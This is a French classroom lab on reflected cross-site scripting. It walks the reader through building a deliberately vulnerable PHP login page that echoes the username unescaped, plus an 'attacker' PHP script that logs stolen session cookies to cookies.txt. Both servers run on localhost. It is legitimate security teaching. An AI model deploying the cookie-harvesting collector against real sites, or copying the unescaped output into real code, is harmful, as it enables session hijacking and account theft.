XSS réfléchi
Injection HTML/JavaScript XSS réfléchi (Cross-Site Scripting)
Principe de l'attaque
Nous avons vu que l'injection HTML/JavaScript, aussi connue sous le nom de Cross-Site Scripting (XSS), est une vulnérabilité qui permet à un attaquant d'insérer du code malveillant dans une page Web consultée par d'autres utilisateurs.
Le type de XSS que nous allons étudier aujourd'hui est le XSS réfléchi.
Dans un XSS réfléchi, le script malveillant est inclus dans une URL ou dans une requête envoyée au serveur, qui va ensuite "réfléchir" ce script dans la réponse HTTP. Lorsqu'un utilisateur clique sur cette URL malveillante, le script s'exécute dans son navigateur.
Une application Web vulnérable
1) Code source de la version vulnérable
-
Dans votre répertoire "Documents" créez le répertoire
tp_xss_reflechi
-
Dans le répertoire
xss_reflechi
, créez le répertoirevictime
-
Dans le répertoire
victime
, créez 2 fichiers,login.php
etindex.php
.
login.php
:
<?php
session_start();
if (isset($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
header("Location: index.php");
}
?>
<!DOCTYPE html>
<html>
<body>
<form method="POST" action="">
<input type="text" name="username" placeholder="Nom d'utilisateur">
<input type="submit" value="Se connecter">
</form>
</body>
</html>
index.php
:
<?php
session_start();
if (!isset($_SESSION['username'])) {
header('Location: login.php');
exit();
}
?>
<!DOCTYPE html>
<html>
<body>
<h1>Bienvenue, <?php echo $_SESSION['username']; ?>!</h1>
</body>
</html>
-
Dans le répertoire
xss_reflechi
, créez le répertoireattaquant
-
Dans le répertoire
attaquant
, créez le fichierindex.php
qui va récupérer et stocker le contenu du cookie :<?php
if (isset($_GET['cookie'])) {
$cookie = $_GET['cookie'];
$file = fopen('cookies.txt', 'a');
fwrite($file, $cookie . "\n");
fclose($file);
}Ce script PHP vérifie d'abord si un cookie a été passé en paramètre GET. Si c'est le cas, il ouvre le fichier
cookies.txt
en mode append ('a'
), ce qui signifie que les données seront écrites à la fin du fichier sans supprimer le contenu existant. Ensuite, il écrit le contenu du cookie dans le fichier, suivi d'un saut de ligne ("\n"
). Enfin, il ferme le fichier.
2) Déroulement de la démo (attaque possible)
Cette application Web permet à l'utilisateur de s'identifier avec un nom d'utilisateur. Le nom d'utilisateur est ensuite affiché sur la page du tableau de bord.
Cependant, comme le code n'échappe pas au nom d'utilisateur avant de l'afficher, il est possible d'injecter du code JavaScript.
-
Déplacez vous dans le répertoire
xss_reflechi
, puis dans le répertoirevictime
. -
Exécutez le serveur PHP bienveillant : avec la commande
php -S localhost:8000
-
Déplacez vous dans le répertoire
xss_reflechi
, puis dans le répertoireattaquant
. -
Exécutez le serveur PHP malveillant avec la commande
php -S localhost:8001
-
Ouvrez votre navigateur et accédez à 'http://localhost:8000/'